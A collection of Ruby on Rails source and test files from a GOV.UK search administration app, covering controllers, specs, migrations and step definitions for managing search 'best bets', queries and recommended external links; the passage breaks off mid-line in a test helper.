require "spec_helper" describe BetsController do before do allow(Services.search_api).to receive(:add_document) allow(Services.search_api).to receive(:delete_document) end let(:query) { create(:query) } let(:permanent_bet_params) do { query_id: query.id, link: "/visas-and-immigration", position: 1, comment: "Created to help UKVI", is_best: true, permanent: "1", } end describe "Creating bets" do context "when logged in as an admin user" do before do @admin_user = create(:admin_user) login_as(@admin_user) end it "allows all expected fields to be set" do post :create, params: { bet: permanent_bet_params } attrs = permanent_bet_params.merge(permanent: true) expect(Bet.last.attributes.symbolize_keys).to include(attrs) end it "logs the user which created the bet" do post :create, params: { bet: permanent_bet_params } expect(Bet.last.user_id).to eq(@admin_user.id) end it "marks the bet as manually created" do post :create, params: { bet: permanent_bet_params } expect(Bet.last).to be_manual end it "notifies the world of the change to the query" do post :create, params: { bet: permanent_bet_params } expect(Services.search_api).to have_received(:add_document) end it "redirects to the query show when create is successful" do post :create, params: { bet: permanent_bet_params } expect(flash[:notice]).to include("Bet created") expect(response).to redirect_to(query_path(query)) end describe "redirects and shows errors when create is unsuccessful" do it "no links entered" do post :create, params: { bet: permanent_bet_params.merge(link: "") } expect(flash[:alert]).to include("Error creating") expect(response).to redirect_to(query_path(query)) end it "invalid or empty expiration date" do post :create, params: { bet: permanent_bet_params.merge(permanent: "") } expect(flash[:alert]).to include("Error creating") expect(response).to redirect_to(query_path(query)) end end end context "when logged in as a basic signin user" do before do @user = create(:user) login_as(@user) end it "allows all expected fields to be set" do post :create, params: { bet: permanent_bet_params.merge(permanent: "") } attrs = permanent_bet_params.merge(permanent: false) expect(Bet.last.attributes.symbolize_keys).to include(attrs) expect(Bet.last.expiration_date).to eq Bet.last.created_at + 3.months end end end describe "Updating bets" do let(:query) { create(:query, :with_best_bet) } let(:bet) { query.bets.first } context "when logged in as an admin user" do before do @admin_user = create(:admin_user) login_as(@admin_user) end it "notifies the world of the change to the query" do put :update, params: { id: bet.id, bet: permanent_bet_params } expect(Services.search_api).to have_received(:add_document) end it "does not notify the world to forget the query" do put :update, params: { id: bet.id, bet: permanent_bet_params } expect(Services.search_api).not_to have_received(:delete_document) end it "redirects to the query show when update is successful" do post :update, params: { id: bet.id, bet: permanent_bet_params } expect(flash[:notice]).to include("Bet updated") expect(response).to redirect_to(query_path(query)) end describe "unsuccessful updates render the edit page" do it "no link" do post :update, params: { id: bet.id, bet: permanent_bet_params.merge(link: "") } expect(flash[:alert]).to include("Error updating") expect(response).to render_template(:edit) end it "no expiration date for a temporary bet" do post :update, params: { id: bet.id, bet: permanent_bet_params.merge(expiration_date: "", permanent: "") } expect(flash[:alert]).to include("Error updating") expect(response).to render_template(:edit) end end end context "when logged in as a basic signin user" do before do @user = create(:user) login_as(@user) end it "is not possible to update the expiration date" do post :update, params: { id: bet.id, bet: permanent_bet_params } expect(Bet.last.attributes.symbolize_keys).not_to include(permanent: true) end end end describe "Reactivating bets" do let(:query) { create(:query, :with_best_bet) } let(:bet) { query.bets.first } context "when logged in as a basic signin user" do before do bet.deactivate @user = create(:user) login_as(@user) end it "notifies the world of the change to the query" do post :update, params: { id: bet.id, bet: permanent_bet_params.merge(active: "true") } expect(Services.search_api).to have_received(:add_document) expect(Bet.find(bet.id)).to be_active expect(Bet.find(bet.id).permanent).to be false end it "does not notify the world to forget the query" do put :update, params: { id: bet.id, bet: permanent_bet_params } expect(Services.search_api).not_to have_received(:delete_document) end it "redirects to the query show when update is successful" do post :update, params: { id: bet.id, bet: permanent_bet_params.merge(active: "true") } expect(flash[:notice]).to include("Bet reactivated") expect(response).to redirect_to(query_path(query)) end end end describe "Deactivating bets" do let(:query) { create(:query, :with_best_bet, query: "two words") } let(:bet) { query.bets.first } it "redirects to the query show when the bet has been deactivated" do post :deactivate, params: { id: bet.id, bet: permanent_bet_params } expect(flash[:notice]).to include("Bet deactivated") expect(response).to redirect_to(query_path(query)) end it "deactivating the last bet will delete the query from Search API" do expect(Services.search_api).to receive(:delete_document).with("two%20words-exact", "metasearch") post :deactivate, params: { id: bet.id } end it "deactivating one of a group of best bets will update the query in Search-api" do create(:bet, query: query) es_doc_id = ElasticSearchBetIDGenerator.generate(query.query, query.match_type) expect(Services.search_api).to receive(:add_document).with(es_doc_id, anything, "metasearch") post :deactivate, params: { id: bet.id } end end describe "Deleting bets" do let(:query) { create(:query, :with_best_bet, query: "two words") } let(:bet) { query.bets.first } it "deleting the last bet will delete the query from Search-api" do expect(Services.search_api).to receive(:delete_document).with("two%20words-exact", "metasearch") delete :destroy, params: { id: bet.id } end it "deleting one of a group of best bets will update the query in Search-api" do create(:bet, query: query) es_doc_id = ElasticSearchBetIDGenerator.generate(query.query, query.match_type) expect(Services.search_api).to receive(:add_document).with(es_doc_id, anything, "metasearch") delete :destroy, params: { id: bet.id } end end context "when logged in as an admin user" do before do admin_user = create(:admin_user) login_as(admin_user) end it "redirects to the query show when creating a permanent bet" do post :create, params: { bet: permanent_bet_params.merge(permanent: "1") } expect(flash[:notice]).to include("Bet created") expect(response).to redirect_to(query_path(query)) expect(Bet.last).to be_permanent end end end
uk-gov-mirror/alphagov.search-admin
app/models/elastic_search_mlt_result.rb
class ElasticSearchMltResult include ActiveModel::Model VALID_FIELDS = %w[ title link format es_score content_store_document_type ].freeze attr_accessor(*VALID_FIELDS.map(&:to_sym)) end
uk-gov-mirror/alphagov.search-admin
spec/lib/travel_advice_bets_importer_spec.rb
<reponame>uk-gov-mirror/alphagov.search-admin require "spec_helper" require "travel_advice_bets_importer" RSpec.describe TravelAdviceBetsImporter do let(:csv_data) do [ ["Angola", "/world/angola"], ["Belgium", "/world/belgium"], ["Spain", "/world/spain"], ] end let(:logger) { double(:logger) } let(:search_api_saver) { double(:search_api_saver) } let(:user) { create(:user) } subject(:instance) { described_class.new(csv_data, user, logger) } describe "import" do before do allow(SearchApiSaver).to receive(:new) .and_return(search_api_saver) allow(search_api_saver).to receive(:save) .and_return(true) allow(logger).to receive(:puts) end it "creates queries" do expect { instance.import }.to change(Query, :count).by(3) end it "creates bets" do expect { instance.import }.to change(Bet, :count).by(6) expect(Bet.all.map(&:link)).to eq([ "/foreign-travel-advice/angola", "/world/angola", "/foreign-travel-advice/belgium", "/world/belgium", "/foreign-travel-advice/spain", "/world/spain", ]) end it "saves bets in Search-api" do instance.import expect(search_api_saver).to have_received(:save).exactly(6).times expect(SearchApiSaver).to have_received(:new).with(Bet.first) expect(SearchApiSaver).to have_received(:new).with(Bet.last) end it "logs stuff" do instance.import expect(logger).to have_received(:puts) .with("Saved best bet 'Spain': '/foreign-travel-advice/spain' (pos: 1) to Search-api.") expect(logger).to have_received(:puts) .with("Saved best bet 'Spain': '/world/spain' (pos: 2) to Search-api.") end it "increments an internal count of successful saves" do instance.import expect(instance.count).to eq(6) end context "with valid and invalid data" do before do csv_data.push(%w[Narnia narnia]) end it "skips invalid data" do expect(Query.find_by(query: "Narnia")).to be_nil expect(Bet.find_by(link: "narnia")).to be_nil end end context "with existing, conflicting bets" do let(:query) { create(:query, query: "Spain") } let!(:bet) { create(:bet, :permanent, link: "/world/spain", query: query, position: 2) } it "doesn't create duplicates" do expect { instance.import }.to change(Bet, :count).by(5) expect(Bet.where(link: "/world/spain").count).to eq(1) end it "doesn't save duplicates in Search-api" do instance.import expect(search_api_saver).to have_received(:save).exactly(5).times expect(instance.count).to eq(5) end end context "with existing non-conflicting bets" do let(:query) { create(:query, query: "Spain") } let!(:bet) { create(:bet, :permanent, link: "/world/spain", query: query, position: 2) } before { csv_data.push(%w[Espana /world/spain]) } it "creates a best bet" do instance.import expect(Query.where(query: "Spain").count).to eq(1) expect(Query.where(query: "Espana").count).to eq(1) expect(Bet.where(link: "/world/spain").count).to eq(2) end end end end
uk-gov-mirror/alphagov.search-admin
app/helpers/icon_helper.rb
module IconHelper # http://getbootstrap.com/components/#glyphicons-glyphs def icon(icon_name) tag.i "", class: "glyphicon glyphicon-#{icon_name}" end end
uk-gov-mirror/alphagov.search-admin
app/controllers/bets_controller.rb
<gh_stars>1-10 class BetsController < ApplicationController def create attrs = param_parser.bet_attributes @bet = Bet.new(attrs) unless admin_user? @bet.set_defaults end saver = SearchApiSaver.new(@bet) if saver.save redirect_to query_path(@bet.query), notice: "Bet created" else redirect_to query_path(@bet.query), alert: "Error creating bet. #{@bet.errors.full_messages.to_sentence}" end end def edit @bet = find_bet end def update @bet = find_bet if !admin_user? && reactivating? @bet.set_defaults end saver = SearchApiSaver.new(@bet) if saver.update(update_attrs) redirect_to query_path(@bet.query), notice: notice else flash.now[:alert] = "Error updating bet. #{@bet.errors.full_messages.to_sentence}" render "edit" end end def deactivate @bet = find_bet saver = SearchApiSaver.new(@bet) if saver.destroy(action: :deactivate) redirect_to query_path(@bet.query), notice: "Bet deactivated" else redirect_to query_path(@bet.query), alert: "Error deactivating bet" end end def destroy @bet = find_bet saver = SearchApiSaver.new(@bet) if saver.destroy(action: :update_bets) flash.notice = "Bet deleted" else flash.alert = "Error deleting bet" end redirect_to query_path(@bet.query) end private def find_bet @find_bet ||= Bet.find(params[:id]) end def bet_params params.require(:bet).permit( :comment, :is_worst, :link, :match_type, :position, :query, :query_id, :source, :permanent, expiration_date: %i[day month year], ) end def param_parser BetParamsParser.new(bet_params, current_user.id) end def reactivating? params["bet"]["active"] == "true" end def notice reactivating? ? "Bet reactivated" : "Bet updated" end def update_attrs admin_user? ? param_parser.bet_attributes : param_parser.bet_attributes.except(:expiration_date, :permanent) end end
uk-gov-mirror/alphagov.search-admin
app/parsers/date_parser.rb
<gh_stars>1-10 class DateParser attr_reader :day, :month, :year def initialize(day:, month:, year:) @day = day @month = month @year = year end def date Time.zone.local(year, month, day) rescue ArgumentError "" end end
uk-gov-mirror/alphagov.search-admin
spec/services/more_like_this_spec.rb
require "spec_helper" RSpec.describe MoreLikeThis do describe ".from_base_path" do context "with an unknown base path in search" do before do allow(Services.search_api).to receive(:search) .with( filter_link: "/unknown", fields: %w[taxons], ) .and_return("results" => []) end it "raises an custom not found exception" do expect { described_class.from_base_path("/unknown") }.to raise_error( MoreLikeThis::NotFoundInSearch, ) end end context "with a content item without a taxon link" do before do allow(Services.search_api).to receive(:search) .with( filter_link: "/item", fields: %w[taxons], ) .and_return("results" => [ "taxons" => [], ]) end it "raises a custom not tagged to a taxon exception" do expect { described_class.from_base_path("/item") }.to raise_error( MoreLikeThis::NotTaggedToATaxon, ) end end context "without any search results" do before do allow(Services.search_api).to receive(:search) .with( filter_link: "/item", fields: %w[taxons], ) .and_return("results" => [ "taxons" => %w[714bc7d1-afb0-4e10-9558-268da5dbbbba], ]) allow(Services.search_api).to receive(:search) .with( hash_including( similar_to: "/item", filter_taxons: %w[714bc7d1-afb0-4e10-9558-268da5dbbbba], ), ) .and_return("results" => []) end it "raises a custom exception about no search results available" do expect { described_class.from_base_path("/item") }.to raise_error( MoreLikeThis::NoSearchResults, ) end end context "with a valid base path with similar results" do before do allow(Services.search_api).to receive(:search) .with( filter_link: "/item", fields: %w[taxons], ) .and_return("results" => [ "taxons" => %w[714bc7d1-afb0-4e10-9558-268da5dbbbba], ]) allow(Services.search_api).to receive(:search) .with( hash_including( similar_to: "/item", filter_taxons: %w[714bc7d1-afb0-4e10-9558-268da5dbbbba], ), ) .and_return("results" => [ { "link" => "/similar-item", "title" => "Similar item", "es_score" => 20.97, "format" => "detailed_guidance", "content_store_document_type" => "detailed_guide", }, ]) end it "returns an array of ElasticSearch more like this objects" do results = described_class.from_base_path("/item") expect(results.length).to eq(1) result = results.first expect(result).to be_a(ElasticSearchMltResult) expect(result.title).to eq("Similar item") expect(result.es_score).to eq(20.97) expect(result.link).to eq("/similar-item") expect(result.format).to eq("detailed_guidance") expect(result.content_store_document_type).to eq("detailed_guide") end end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140728094001_lowercase_queries.rb
class LowercaseQueries < ActiveRecord::Migration def change Query.all.each do |query| query.update_attribute(:query, query.query.downcase) end query_groups = Query.all.group_by { |q| [q.query, q.match_type] } puts "Checking for duplicated queries" puts query_groups.select { |_, queries| queries.count > 1 } end end
uk-gov-mirror/alphagov.search-admin
app/controllers/results_controller.rb
class ResultsController < ApplicationController def index; end def show @path = params[:base_path] @path = URI.parse(@path).path if @path.starts_with?("http") @document = Services.search_api.get("/content?link=#{@path}") rescue GdsApi::HTTPNotFound flash[:error] = "That URL wasn't found." redirect_to results_path end def destroy Services.search_api.delete!("/content?link=#{params[:id]}") flash[:notice] = "This search result will be removed soon. Please refresh this page to check." redirect_to result_path("result", base_path: params[:id]) rescue GdsApi::HTTPNotFound flash[:error] = "That URL wasn't found." redirect_to results_path rescue GdsApi::HTTPClientError => e flash[:error] = e.error_details["result"] redirect_to results_path end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20171214153332_add_content_id_to_recommended_links.rb
<filename>db/migrate/20171214153332_add_content_id_to_recommended_links.rb class AddContentIdToRecommendedLinks < ActiveRecord::Migration[5.0] def up add_column :recommended_links, :content_id, "char(36)" add_index :recommended_links, :content_id, unique: true RecommendedLink.all.each do |link| link.update(content_id: SecureRandom.uuid()) end end def down remove_column :recommended_links, :content_id end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140604142849_create_query.rb
class CreateQuery < ActiveRecord::Migration def change create_table :queries do |t| t.string :query t.string :match_type t.timestamps end end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/recommended_links_steps.rb
<gh_stars>1-10 Given(/^an external link exists named "(.*)" with link "(.*)"$/) do |title, link| @recommended_link = create(:recommended_link, title: title, link: link) end Given(/^there are some external links$/) do @recommended_links = (1..3).map do |n| create(:recommended_link, title: "Tax online #{n}", link: "https://www.tax.service.gov.uk/#{n}") end end Given(/^a variety of external links exist$/) do create(:recommended_link, title: "Jobs", link: "https://www.gov.uk/jobsearch") create(:recommended_link, title: "Visas", link: "https://www.gov.uk/apply-uk-visa") create(:recommended_link, title: "Blogs", link: "https://www.blog.gov.uk/") end When(/^I create a new external link$/) do create_recommended_link( title: "Tax online", link: "https://www.tax.service.gov.uk/", description: "File your self assessment online.", keywords: "tax, self assessment, hmrc", ) @recommended_link_content_id = RecommendedLink.last.content_id end Then(/^the external link named "(.*)" should be listed on the external links index$/) do |title| check_for_recommended_link_on_index_page(title: title) end When(/^I edit the external link named "(.*)" to be named "(.*)"$/) do |old_title, new_title| edit_recommended_link( old_title: old_title, title: new_title, ) end Then(/^the edited external link named "(.*)" should be listed on the external links index$/) do |title| check_for_recommended_link_on_index_page(title: title) end When(/^I delete the external link named "(.*)"$/) do |title| delete_recommended_link(title: title) end Then(/^the external link named "(.*)" should not be listed on the external links index$/) do |title| check_for_absence_of_recommended_link_on_index_page(title: title) end When(/^I visit the external link$/) do visit recommended_link_path(@recommended_link || RecommendedLink.last) end Then(/^I should see the external links search results on the page$/) do expect(page).to have_selector("iframe") expect(find("iframe")[:src]).to include "gov.uk/search/all?keywords=Tax+online" end
uk-gov-mirror/alphagov.search-admin
spec/services/search_api_saver_spec.rb
<filename>spec/services/search_api_saver_spec.rb require "spec_helper" RSpec.describe SearchApiSaver do let(:query) { create(:query) } let(:search_api_saver) { described_class.new(query) } describe "#destroy" do context "when passed an unrecognised action" do it "raises a custom InvalidAction Error" do error_message = "invalid_action not one of: :update, :create, :update_bets, : delete, :deactivate" expect { search_api_saver.destroy(action: :invalid_action) }.to raise_error( SearchApiSaver::InvalidAction, error_message ) end end end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/recommended_links_csv_steps.rb
When(/^I view the external links CSV$/) do visit recommended_links_path click_on "Download CSV" end Then(/^I should see all external links listed in the CSV$/) do check_for_recommended_links_in_csv_format(@recommended_links) end
uk-gov-mirror/alphagov.search-admin
db/migrate/20160818081220_add_reference_for_user_id_to_best_bets.rb
<gh_stars>1-10 class AddReferenceForUserIdToBestBets < ActiveRecord::Migration def up rename_column :bets, :user_id, :old_user_id add_reference :bets, :user Bet.all.each do |bet| bet.user_id = bet.old_user_id bet.save! end remove_column :bets, :old_user_id end def down rename_column :bets, :user_id, :old_user_id add_column :bets, :user_id, :integer Bet.all.each do |bet| bet.user_id = bet.old_user_id bet.save! end remove_column :bets, :old_user_id end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/similar_search_results_steps.rb
When(/^I visit the similar search results form$/) do visit root_path click_on "Similar search results" end When(/^I type in a valid GOV\.UK link with related items$/) do stub_request( :get, "https://search.test.gov.uk/search.json?fields%5B%5D=taxons&filter_link=/guidance/pupil-premium-reviews", ).to_return( body: { "results" => [{ "link" => "/guidance/pupil-premium-reviews", "taxons" => %w[1ddd7a85-6c64-4b1e-9e54-55b50a0ae3f3], }], }.to_json, ) stub_request( :get, /https:\/\/search.test.gov.uk\/search.json\?.*similar_to=\/guidance\/pupil-premium-reviews.*/, ).to_return( body: { "results" => [{ "link" => "/similar-item", "title" => "Similar item", "es_score" => 20.97, "format" => "detailed_guidance", "content_store_document_type" => "detailed_guide", }], }.to_json, ) fill_in "base_path", with: "/guidance/pupil-premium-reviews" click_on "Show similar search result" end Then(/^I should see all related items$/) do expect(current_path).to eq(similar_search_result_path(:result)) expect(page).to_not have_selector(".gem-c-error-alert") expect(page).to have_selector("table tbody tr", count: 1) end
uk-gov-mirror/alphagov.search-admin
spec/presenters/external_content_presenter_spec.rb
require "spec_helper" RSpec.describe ExternalContentPresenter do context "for the publishing API" do it "presents minimal external content to match the schema" do payload = ExternalContentPresenter.new(recommended_link).present_for_publishing_api expect(payload[:description]).to eq("Public data to help people understand how the government works") expect(payload[:title]).to eq("Data.gov.uk") expect(payload[:details][:url]).to eq("http://www.data.gov.uk/") expect(payload[:details][:hidden_search_terms]).to eq([]) assert_valid_content_item(payload) end it "presents search keywords" do link = recommended_link(keywords: "data, open data, api") payload = ExternalContentPresenter.new(link).present_for_publishing_api expect(payload[:details][:hidden_search_terms]).to eq(["data, open data, api"]) assert_valid_content_item(payload) end it "presents publishing details" do payload = ExternalContentPresenter.new(recommended_link).present_for_publishing_api expect(payload[:document_type]).to eq("external_content") expect(payload[:publishing_app]).to eq("search-admin") expect(payload[:schema_name]).to eq("external_content") expect(payload[:update_type]).to eq("minor") end def recommended_link(details = {}) RecommendedLink.new({ content_id: "some-content-id", description: "Public data to help people understand how the government works", link: "http://www.data.gov.uk/", title: "Data.gov.uk", }.merge(details)) end def assert_valid_content_item(payload) validator = GovukContentSchemaTestHelpers::Validator.new( "external_content", "schema", payload, ) expect(validator).to be_valid end end end
uk-gov-mirror/alphagov.search-admin
app/workers/notify_expiring_bets_worker.rb
class NotifyExpiringBetsWorker THRESHOLD = 7.days include Sidekiq::Worker def perform addresses.each do |address| BetsMailer.new.expiring_bets_list(address, soon_to_expire_bets).deliver_now end # also notify bet creators (if they're not in the 'addresses' # list). grouped_bets = soon_to_expire_bets.each_with_object({}) do |bet, grouped| address = bet.user.email next if addresses.include? address grouped[address] ||= [] grouped[address] << bet end grouped_bets.each do |address, bets| BetsMailer.new.expiring_bets_list(address, bets).deliver_now end end private def addresses ENV.fetch("EXPIRING_BETS_MAILING_LIST", "").split(",") end def soon_to_expire_bets @soon_to_expire_bets ||= Bet.impermanent.where(expiration_date: Time.zone.now.beginning_of_day + THRESHOLD) end end
uk-gov-mirror/alphagov.search-admin
lib/tasks/publish_external_links.rake
<gh_stars>1-10 desc "Ensure all external links in the database are present in the publishing platform" namespace :publish_external_links do desc "Send external links to the Publishing API" task publishing_api: :environment do RecommendedLink.all.each do |link| puts link.link ExternalContentPublisher.publish(link) end end end
uk-gov-mirror/alphagov.search-admin
spec/spec_helper.rb
<reponame>uk-gov-mirror/alphagov.search-admin<gh_stars>1-10 # This file is copied to spec/ when you run 'rails generate rspec:install' ENV["RAILS_ENV"] ||= "test" ENV["GOVUK_APP_DOMAIN"] = "test.gov.uk" ENV["GOVUK_ASSET_ROOT"] = "http://static.test.gov.uk" require "simplecov" SimpleCov.start "rails" require File.expand_path("../config/environment", __dir__) require "rspec/rails" # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. Dir[Rails.root.join("spec/support/**/*.rb")].sort.each { |f| require f } # Checks for pending migrations before tests are run. # If you are not using ActiveRecord, you can remove this line. ActiveRecord::Migration.maintain_test_schema! require "webmock/rspec" WebMock.disable_net_connect! RSpec.configure do |config| config.infer_spec_type_from_file_location! config.fixture_path = "#{::Rails.root}/spec/fixtures" config.use_transactional_fixtures = true config.infer_base_class_for_anonymous_controllers = false config.order = "random" config.include FactoryBot::Syntax::Methods config.before(:each) do # search URLs are of the form: http://search.dev.gov.uk/mainstream/document/http://test.dev.gov.uk # The part after /document/ is optional depending on the request type search_url_regex = %r{#{Plek.find('search')}/.+/.+(/.*)?} stub_request(:post, search_url_regex) stub_request(:delete, search_url_regex) end config.before(:each, type: "controller") do login_as_stub_user end require "govuk-content-schema-test-helpers" GovukContentSchemaTestHelpers.configure do |schema_config| schema_config.schema_type = "publisher_v2" schema_config.project_root = Rails.root end end
uk-gov-mirror/alphagov.search-admin
app/models/recommended_link.rb
class RecommendedLink < ApplicationRecord validates :title, :link, :description, :content_id, presence: true validates :link, uniqueness: { case_sensitive: true }, url: true validates :content_id, uniqueness: { case_sensitive: true } def format uri = URI(link) if uri.scheme.nil? uri = URI("https://" + link) end if uri.host.casecmp("www.gov.uk").zero? "inside-government-link" else "recommended-link" end end def self.to_csv(*_args) CSV.generate do |csv| csv << %w[title link description keywords comment] all.find_each do |link| csv << [link.title, link.link, link.description, link.keywords, link.comment.to_s] end end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20200228171904_add_permanent_to_bet.rb
class AddPermanentToBet < ActiveRecord::Migration[6.0] def change add_column :bets, :permanent, :bool, default: false Bet.reset_column_information Bet.all.each do |b| b.update!(permanent: true) end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140604154109_rename_best_bet.rb
<filename>db/migrate/20140604154109_rename_best_bet.rb class RenameBestBet < ActiveRecord::Migration def change rename_table :best_bets, :bets end end
uk-gov-mirror/alphagov.search-admin
config/initializers/services_and_listeners.rb
require "gds_api/search" # Extend the adapters to allow us to request URLs directly. module GdsApi class Search < Base def get(path) request_url = "#{base_url}#{path}" get_json(request_url) end def delete!(path) request_url = "#{base_url}#{path}" delete_json(request_url) end end end
uk-gov-mirror/alphagov.search-admin
spec/controllers/queries_controller_spec.rb
<gh_stars>1-10 require "spec_helper" describe QueriesController do before do allow(Services.search_api).to receive(:add_document) allow(Services.search_api).to receive(:delete_document) end let(:query_params) { { query: "jobs", match_type: "exact" } } describe "#create" do context "on failure" do it "alerts the user" do post :create, params: { query: query_params.merge(match_type: nil) } expect(flash[:alert]).to include("Error creating") end it "renders the new action" do post :create, params: { query: query_params.merge(match_type: nil) } expect(response).to render_template("new") end it "does not notify other systems" do post :create, params: { query: query_params.merge(match_type: nil) } expect(Services.search_api).not_to have_received(:add_document) end end context "on success" do it "notifies the user" do post :create, params: { query: query_params } expect(flash[:notice]).to include("was created") end it "redirects to the query" do post :create, params: { query: query_params } expect(response).to redirect_to(query_path(Query.last)) end it "does not notify the world of the new query - needs to wait for bets" do post :create, params: { query: query_params } expect(Services.search_api).not_to have_received(:add_document) end end it "converts the query to lower case" do post :create, params: { query: query_params.merge(query: "Jobs") } expect(Query.last.query).to eq("jobs") end it "redirects to the existing query if duplicated" do existing_query = create(:query, query_params) post :create, params: { query: query_params } expect(response).to redirect_to(query_path(existing_query)) expect(flash[:notice]).to include("exist") end end describe "#update" do let(:query) { create(:query, query: "tax") } def update_query(options = {}) put :update, params: { id: query.id, query: query_params.merge(options) } end context "on failure" do it "alerts the user" do update_query(match_type: nil) expect(flash[:alert]).to include("Error updating") end it "renders the edit action" do update_query(match_type: nil) expect(response).to render_template("edit") end it "does not notify other systems" do update_query(match_type: nil) expect(Services.search_api).not_to have_received(:add_document) end end context "on success" do it "notifies the user" do update_query expect(flash[:notice]).to include("was updated") end it "redirects to the query" do update_query expect(response).to redirect_to(query_path(Query.last)) end context "when query has bets" do before do create(:bet, query: query) end it "notifies the world to forget the previous query" do update_query expect(Services.search_api).to have_received(:delete_document) .with("#{query.query}-#{query.match_type}", any_args) end it "notifies the world of the new query" do update_query expect(Services.search_api).to have_received(:add_document) .with("#{query_params[:query]}-#{query_params[:match_type]}", any_args) end end context "when query has no bets" do it "notifies the world of the new query" do update_query expect(Services.search_api).not_to have_received(:add_document) end end end it "converts the query to lower case" do update_query(query: "Jobs") expect(Query.last.query).to eq("jobs") end end describe "#destroy" do let(:query) { create(:query, query: "tax") } def delete_query delete :destroy, params: { id: query.id } end context "on failure" do before do mock_query = double(:query, id: query.id) allow(mock_query).to receive(:destroy!).and_raise(ActiveRecord::ActiveRecordError) allow(Query).to receive(:find).with(query.id.to_s).and_return(mock_query) end it "alerts the user" do delete_query expect(flash[:alert]).to include("Error deleting") end it "does not notify other systems" do delete_query expect(Services.search_api).not_to have_received(:delete_document) end end context "on success" do it "notifies the user" do delete_query expect(flash[:notice]).to include("was deleted") end it "redirects to the query index" do delete_query expect(response).to redirect_to(queries_path) end it "notifies the world of the deletion" do delete_query expect(Services.search_api).to have_received(:delete_document) end end end end
uk-gov-mirror/alphagov.search-admin
app/parsers/bet_params_parser.rb
<reponame>uk-gov-mirror/alphagov.search-admin class BetParamsParser attr_reader :bet_params, :user_id def initialize(bet_params, user_id) @bet_params = bet_params @user_id = user_id end def bet_attributes bet_params.merge( expiration_date: date_attributes, user_id: user_id, manual: true, is_best: best_bet?, permanent: permanent?, ) end private def date_attributes date_complete? ? DateParser.new(**date_hash).date : "" end def date_hash bet_params[:expiration_date].to_h.deep_symbolize_keys end def date_complete? date_hash.values.reject(&:empty?).count == 3 end def best_bet? !is_worst_bet? end def is_worst_bet? bet_params[:is_worst] == "1" end def permanent? bet_params[:permanent] == "1" end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/navigation_steps.rb
Given(/^I am viewing a specific query$/) do query = create(:query) visit query_path(query) end Then(/^I can click a link to navigate to the index of queries$/) do within(".govuk-breadcrumbs__list") do click_link "Queries" end expect(current_path).to eq queries_path end Given(/^I am viewing a specific external link$/) do recommended_link = create(:recommended_link) visit recommended_link_path(recommended_link) end Then(/^I can click a link to navigate to the index of external links$/) do within(".govuk-breadcrumbs__list") do click_link "External links" end expect(current_path).to eq recommended_links_path end
uk-gov-mirror/alphagov.search-admin
app/controllers/recommended_links_controller.rb
<filename>app/controllers/recommended_links_controller.rb class RecommendedLinksController < ApplicationController def index @recommended_links = RecommendedLink.order([:link]) respond_to do |format| format.html format.csv { send_data @recommended_links.to_csv } end end def new @recommended_link = RecommendedLink.new(content_id: SecureRandom.uuid) end def create @recommended_link = RecommendedLink.new(create_recommended_link_params) if @recommended_link.save ExternalContentPublisher.publish(@recommended_link) redirect_to recommended_link_path(@recommended_link), notice: "Your external link was created successfully" else flash[:alert] = "We could not create your external link" render :new end end def show @recommended_link = find_recommended_link @search_url = SearchUrl.for(@recommended_link.title) end def edit @recommended_link = find_recommended_link end def update @recommended_link = find_recommended_link if @recommended_link.update(update_recommended_link_params) ExternalContentPublisher.publish(@recommended_link) redirect_to recommended_link_path(@recommended_link), notice: "Your external link was updated successfully" else flash[:alert] = "We could not update your external link" render :edit end end def destroy recommended_link = find_recommended_link if recommended_link.destroy ExternalContentPublisher.unpublish(recommended_link) redirect_to recommended_links_path, notice: "Your external link was deleted successfully" else redirect_to recommended_link_path(recommended_link), alert: "We could not delete your external link" end end private def find_recommended_link @find_recommended_link ||= RecommendedLink.find(params[:id]) end def create_recommended_link_params params.require(:recommended_link) .permit(:link, :title, :description, :keywords, :comment) .merge(user_id: current_user.id, content_id: SecureRandom.uuid) end def update_recommended_link_params params.require(:recommended_link) .permit(:link, :title, :description, :keywords, :comment) .merge(user_id: current_user.id) end def check_for_duplicate_recommended_link(recommended_link) if recommended_link.errors.include?(:recommended_link) RecommendedLink.where(link: recommended_link.link).first end end end
uk-gov-mirror/alphagov.search-admin
app/validators/bet_date_validator.rb
<reponame>uk-gov-mirror/alphagov.search-admin class BetDateValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) @record = record @attribute = attribute @value = value validations end private attr_reader :record, :attribute, :value def validations if expiration_date_missing? record_error("is invalid") end if expiration_date_in_past? record_error("can't be in the past") end end def expiration_date_missing? record.permanent == false && value.nil? end def expiration_date_in_past? record.expiration_date.present? && record.expiration_date < Time.zone.today end def record_error(msg) record.errors[attribute] << msg end end
uk-gov-mirror/alphagov.search-admin
features/support/users.rb
<reponame>uk-gov-mirror/alphagov.search-admin<filename>features/support/users.rb def login_as(user) GDS::SSO.test_user = create(user) Capybara.reset_sessions! end def current_user GDS::SSO.test_user || User.first end def reset_authentication GDS::SSO.test_user = nil Capybara.reset_sessions! end
uk-gov-mirror/alphagov.search-admin
features/support/best_bets.rb
<filename>features/support/best_bets.rb def create_query(user: nil, query: nil, match_type: nil, bets: []) visit queries_path click_on "New query" fill_in "Query", with: query if query select match_type.humanize, from: "Match type" if match_type click_on "Save" unless user == :admin check_query_page_has_no_date_fields end bets.each do |(link, is_best, position, comment, permanent)| fill_in "Link", with: link if is_best fill_in "Position", with: position else check "Is worst bet?" end if permanent == 1 check "Make permanent?" end fill_in "Comment", with: comment click_on "Save" end end def edit_query(query_text: nil, new_query_text: nil) visit queries_path within(".queries") do click_on query_text end click_on "Edit query" fill_in "Query", with: new_query_text click_on "Save" end def delete_query(query_text: nil) visit queries_path within(".queries") do click_on query_text end click_on "Delete query" end def check_for_query_on_index_page(query: nil, match_type: nil) visit queries_path within(".queries .govuk-table__body .govuk-table__row") do expect(page).to have_content(query) expect(page).to have_content(match_type) end end def check_for_bet_on_query_page(permanent: nil, link: nil, is_best: nil, position: nil, query: nil, match_type: nil, comment: nil) query = Query.where(query: query, match_type: match_type).first visit query_path(query) bet_type = is_best ? "best" : 